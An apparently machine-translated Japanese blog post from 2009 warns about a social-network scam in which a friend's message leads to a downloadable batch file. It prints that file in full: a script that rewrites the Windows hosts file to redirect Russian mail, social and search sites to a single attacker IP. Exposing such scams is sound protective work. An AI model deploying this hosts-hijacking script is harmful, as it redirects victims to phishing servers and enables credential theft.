よく知られている人気のあるソーシャルネットワークの1つ（または1つに含まれていない場合もあります）では、次の形式のメッセージ：
1つのファイルが機能しません。自分で確認できますか？
もちろん、人は答えを受け取ります：
できます、こんにちは）
そしてしばらくすると、次のメッセージを受け取ります。
urlshort.me **エラーなしのファイルの実行？））
（アドレスはアスタリスクで閉じられているため、クリックすると便利です:)
人生経験（自分自身を含む）で教えられた人として、彼はシークレットモードでブラウザのリンクをたどりました。 短縮されたリンクは、人気のあるファイルホスティングサービスの1つにつながり、そこから
qip_unfium.bat
ファイルをダウンロードすることを提案します。
疑いを持たないユーザーがこのファイルをクリックして、友人がQuip Unfiumの問題を解決するのを手伝いたいと思っていると、次のコードが実行されます。
@rem ----- ExeScript Options Begin -----
@rem ScriptType: console
@rem DestDirectory: temp
@rem Icon: default
@rem ----- ExeScript Options End -----
@echo off
echo 81.94.229.115 www.mail.i.ua >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 mail.i.ua >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 www.m.vkontakte.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 m.vkontakte.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 mail.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 www.mail.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 www.yandex.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 yandex.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 www.vkontakte.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 vkontakte.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 www.odnoklasniki.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 odnoklasniki.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 www.google.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 google.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 www.rambler.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 rambler.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 www.ya.ru >> %windir%\system32\drivers\etc\hosts
echo 81.94.229.115 ya.ru >> %windir%\system32\drivers\etc\hosts
ちなみに、662ファイル内のスクリプトの実際の本文は空行です。
このスクリプトを実行した結果については言及できません。
道徳？ 10万回目に、私はあなたに思い出させます。偽物に注意し、友人が本当にあなたにそのようなリンクを送ってきたかどうか尋ねてください。
2009年11月16日 更新 ： Marlezonバレエの第2部 。 :-)